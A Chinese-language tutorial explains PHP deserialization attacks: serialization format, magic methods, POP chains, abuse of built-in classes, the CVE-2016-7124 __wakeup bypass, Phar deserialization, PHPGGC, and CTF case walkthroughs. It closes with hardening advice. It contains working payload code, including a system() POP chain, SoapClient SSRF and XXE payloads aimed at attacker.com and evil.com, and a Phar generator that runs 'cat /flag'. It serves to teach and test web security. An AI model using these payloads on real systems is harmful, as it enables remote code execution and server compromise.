web安全-PHP反序列化漏洞
前言
PHP反序列化漏洞是Web安全领域中最具威胁性的漏洞类型之一。与SQL注入、XSS等常见漏洞不同,反序列化漏洞往往能直接导致远程代码执行(RCE),获取服务器权限。本文将系统性地讲解PHP反序列化漏洞的基础概念、魔术方法、POP链构造、原生类利用、高级绕过技巧以及Phar反序列化等知识,帮助你建立起完整的知识体系。
第一部分:基础概念与核心原理
1.1 什么是序列化与反序列化
序列化(Serialization):将PHP对象转换为可存储或传输的字符串格式的过程,使用serialize()函数。
反序列化(Unserialization):将序列化字符串还原为PHP对象的过程,使用unserialize()函数。
漏洞本质:当应用程序反序列化用户可控的数据时,攻击者可以控制对象的属性值,从而在反序列化过程中或之后,通过魔术方法触发恶意代码执行。
1.2 序列化字符串格式
// 一个简单的类 class User { public $name = 'admin'; public $age = 18; } // 序列化后的字符串 O:4:"User":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}格式解析:
O:4:"User":对象,类名长度为4,类名为User:2:有2个属性{}:属性键值对s:4:"name":字符串属性名,长度为4s:5:"admin":字符串属性值,长度为5i:18:整数属性值
1.3 访问修饰符对序列化格式的影响
不同访问修饰符在序列化字符串中会引入不可见字符:
修饰符 | 序列化格式 | 示例 |
public | 直接显示属性名 |
|
protected | 添加 |
|
private | 添加 |
|
⚠️ 这些不可见字符(\0,ASCII 0)在某些场景下会影响反序列化的成功与否,尤其在存在过滤时需要注意。
第二部分:PHP魔术方法详解
魔术方法是PHP对象生命周期中的特殊方法,在反序列化漏洞中常作为攻击入口或POP链的跳板。
魔术方法 | 触发时机 | 典型利用场景 |
| 对象实例化(new)时自动调用 | 注意:反序列化时不会自动调用此方法 |
| 对象被销毁时自动调用(如脚本结束) | 最常用的利用点,若包含文件操作、命令执行等危险函数,可控制属性触发 |
| 反序列化时自动调用 | 直接利用点,常用于重新连接资源,若存在漏洞可被利用 |
| 序列化时自动调用 | 攻击者较少控制序列化过程,但可能影响后续反序列化 |
| 对象被当作字符串使用时触发(如 | 常用于构造POP链读取文件或SSRF |
| 以函数方式调用对象时触发( | 当对象被当作回调函数时触发,可执行任意代码 |
| 调用不存在的方法时触发 | 可用于动态调用方法,绕过方法名过滤 |
| 调用不存在的静态方法时触发 | 同上,静态上下文 |
| 读取不可访问属性时触发 | 可用来获取敏感数据或动态执行代码 |
| 设置不可访问属性时触发 | 可用来拦截属性赋值,可能触发危险操作 |
重点:反序列化漏洞的利用通常从__wakeup()、__destruct()等自动触发的方法开始,然后通过POP链跳转到其他类的危险方法。
第三部分:POP链构造原理与方法
3.1 什么是POP链
POP(Property-Oriented Programming):面向属性编程,通过控制对象的属性,将多个类的方法调用串联起来,最终到达危险函数。
3.2 构造步骤
- 寻找起点:魔术方法(如
__wakeup、__destruct)中调用了其他类的方法或属性。 - 寻找跳板:普通方法中调用了其他类的方法,且参数可控。
- 寻找终点:最终执行敏感操作的方法(如
system、eval、file_put_contents等)。 - 构造链:从起点到终点,将所有需要调用的类和属性串联起来,生成序列化数据。
3.3 简单示例
class A { public $b; public function __destruct() { $this->b->action(); } } class B { public $cmd; public function action() { system($this->cmd); } } // POP链:A::__destruct() → B::action() → system() $payload = new A(); $payload->b = new B(); $payload->b->cmd = "id"; echo serialize($payload);第四部分:原生类利用
当目标代码没有自定义类时,攻击者仍可利用PHP内置原生类的魔术方法实现攻击。
4.1 可利用原生类一览表
原生类 | 触发条件 | 主要风险 | 依赖扩展 |
|
| XSS、信息泄露 | 核心类,默认可用 |
|
| SSRF、任意请求 | 需启用 |
|
| XXE、文件读取 | 需启用 |
|
| 目录遍历、文件列表 | 需启用SPL扩展(默认开启) |
|
| 文件读取 | 需启用SPL扩展 |
4.2 Exception / Error → XSS / 信息泄露
原理:Exception::__toString()返回异常信息,攻击者可控制消息内容注入HTML/JavaScript。
<?php $a = new Exception("<script>alert('XSS')</script>"); echo urlencode(serialize($a)); ?>4.3 SoapClient → SSRF
原理:SoapClient::__call会发起SOAP请求,可控制location、uri参数实现SSRF。
<?php $client = new SoapClient(null, [ 'location' => 'http://attacker.com/ssrf', 'uri' => 'http://attacker.com/' ]); echo urlencode(serialize($client)); ?>进阶:CRLF注入(CTFSHOW-259)
<?php $ua = "aaa\r\nX-Forwarded-For:127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null, [ 'uri' => 'http://127.0.0.1/', 'location' => 'http://127.0.0.1/flag.php', 'user_agent' => $ua ]); echo urlencode(serialize($client)); ?>4.4 SimpleXMLElement → XXE
<?php $xml = 'http://evil.com/oob.xml'; $sxe = new SimpleXMLElement($xml, LIBXML_NOENT, true); echo serialize($sxe); ?>第五部分:高级利用技巧
5.1 CVE-2016-7124(__wakeup 绕过)
影响版本:PHP 5 < 5.6.25,PHP 7 < 7.0.10
原理:当序列化字符串中表示属性个数的值大于实际属性个数时,会跳过__wakeup()的执行。
利用方法:
原始:O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";s:3:"123";} 修改:O:4:"Name":3:{s:8:"username";s:5:"admin";s:8:"password";s:3:"123";}5.2 字符增多/减少逃逸
原理:当序列化字符串经过过滤(如替换字符)导致长度变化时,可利用长度变化逃逸出新的属性,修改对象结构。
字符增多逃逸示例:
假设过滤函数将a替换为aa:
原始:O:4:"User":2:{s:3:"foo";s:3:"bar";s:3:"baz";s:3:"qux";} 替换后:O:4:"User":2:{s:3:"foo";s:4:"baar";s:3:"baz";s:3:"qux";}通过精心构造,可使后续属性被覆盖,实现属性注入。
5.3 PHP版本属性解析差异
问题:protected和private属性序列化后包含\0(ASCII 0)不可见字符,某些过滤函数(如检查ASCII码范围)会拦截。
绕过:将所有属性改为public,避免产生不可见字符。
public $op = 2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";第六部分:Phar反序列化
6.1 核心原理
Phar反序列化是一种无需unserialize()函数即可触发反序列化的利用方式。
触发点:当PHP文件系统函数(如file_exists()、file_get_contents()等)通过phar://伪协议解析Phar文件时,会自动反序列化其中的meta-data内容。
受影响的函数(不完全列表):
- 文件包含:
include、require、include_once、require_once - 文件系统:
file_exists、file_get_contents、file_put_contents、fopen、copy、unlink、rename、stat、is_file、is_dir、md5_file、filesize - 目录操作:
opendir、readdir、scandir - 图像函数:
getimagesize
6.2 利用条件
- 可上传Phar文件(可改后缀名,如
.jpg、.pdf) - 存在受影响的文件操作函数,且参数可控
- 存在可利用的魔术方法
6.3 生成Phar文件
<?php // 需在 php.ini 中设置 phar.readonly = Off class Flag { public $code; public function __destruct() { eval($this->code); } } $a = new Flag(); $a->code = "system('cat /flag');"; $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); // 可重命名为 exp.jpg 绕过上传限制 rename("exp.phar", "exp.jpg"); ?>6.4 触发方式
?file=phar://uploads/exp.jpg/test.txt6.5 绕过限制技巧
- 后缀检查:Phar文件可重命名为任意后缀
- 文件头检查:可在Phar文件前添加图片头(如
GIF89a) __wakeup绕过:结合CVE-2016-7124
第七部分:工具与框架利用
7.1 PHPGGC
PHPGGC(PHP Generic Gadget Chains):包含众多PHP框架和库的反序列化利用链的工具。
安装:
git clone https://github.com/ambionics/phpggc.git cd phpggc基本使用:
./phpggc -l # 列出所有可用链 ./phpggc ThinkPHP/RCE1 system 'id' # 生成ThinkPHP RCE payload ./phpggc -u ThinkPHP/RCE1 system 'id' # URL编码 ./phpggc --base64 ThinkPHP/RCE1 system 'id' # Base64编码支持的框架:ThinkPHP、Laravel、Yii、Symfony、WordPress、Drupal、Magento等。
7.2 框架利用实战
框架 | PHPGGC链 | 命令示例 |
ThinkPHP V6.0.X |
|
|
Yii2 |
|
|
Laravel |
|
|
第八部分:CTF实战案例解析
8.1 [极客大挑战 2019]PHP(CVE-2016-7124绕过)
场景:__wakeup强制修改username,通过修改属性个数绕过。
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}8.2 CTFSHOW-258(正则绕过)
在257基础上,将序列化字符串中的类名长度O:11改为O:+11,绕过preg_match('/O:\d+/', $data)。
8.3 CTFSHOW-259(SoapClient CRLF注入)
通过user_agent注入CRLF,添加自定义Header,绕过限制访问/flag.php。
8.4 [HNCTF 2022 WEEK3]ez_phar(Phar反序列化)
上传Phar文件(改后缀为jpg),通过文件包含点触发反序列化:
?file=phar://uploads/exp.jpg/test.txt8.5 [安洵杯 2019]iamthinking(ThinkPHP反序列化)
使用PHPGGC生成ThinkPHP/RCE4链:
./phpggc ThinkPHP/RCE4 system 'cat /flag' --url第九部分:渗透测试检查清单
9.1 基础检测
- 寻找
unserialize()入口点(Cookie、POST参数、GET参数) - 识别序列化数据特征(
O:开头或Base64编码) - 分析代码中的魔术方法(
__destruct、__wakeup等) - 检查PHP版本,判断是否存在CVE-2016-7124
9.2 高级检测
- 寻找文件上传点,测试Phar反序列化
- 检查文件操作函数参数是否可控
- 识别框架版本,使用PHPGGC生成payload
- 测试原生类利用(Exception、SoapClient、SimpleXMLElement)
9.3 绕过检测
- 测试属性个数绕过(CVE-2016-7124)
- 测试正则绕过(
O:+11) - 测试字符逃逸(增多/减少)
- 测试不可见字符绕过(public替代protected/private)
第十部分:安全加固建议
- 尽量避免使用
unserialize()处理用户输入,改用JSON等安全格式 - 设置
allowed_classes白名单:
unserialize($data, ['allowed_classes' => ['MyClass']]);- 禁用危险扩展:如非必要,禁用
soap扩展 - 禁用
phar://协议或对phar文件进行校验 - 升级PHP版本,修复已知漏洞
- 关闭错误显示,防止信息泄露
- 合理配置
session.serialize_handler,避免Session注入 - 对上传文件严格校验:不仅检查后缀,还要检查文件内容
总结
PHP反序列化漏洞的利用高度依赖目标环境的上下文。在渗透测试中,需要:
- 敏锐识别:发现序列化数据的踪迹
- 灵活组合:将多种技巧(POP链、原生类、Phar、绕过)组合使用
- 善用工具:利用PHPGGC等工具快速生成payload
- 本地调试:搭建与目标相同的PHP版本环境,验证payload
掌握这些知识和技巧,能帮助你在实战中有效发现和利用PHP反序列化漏洞。如果你在特定框架或场景中遇到问题,欢迎进一步探讨!
(完)
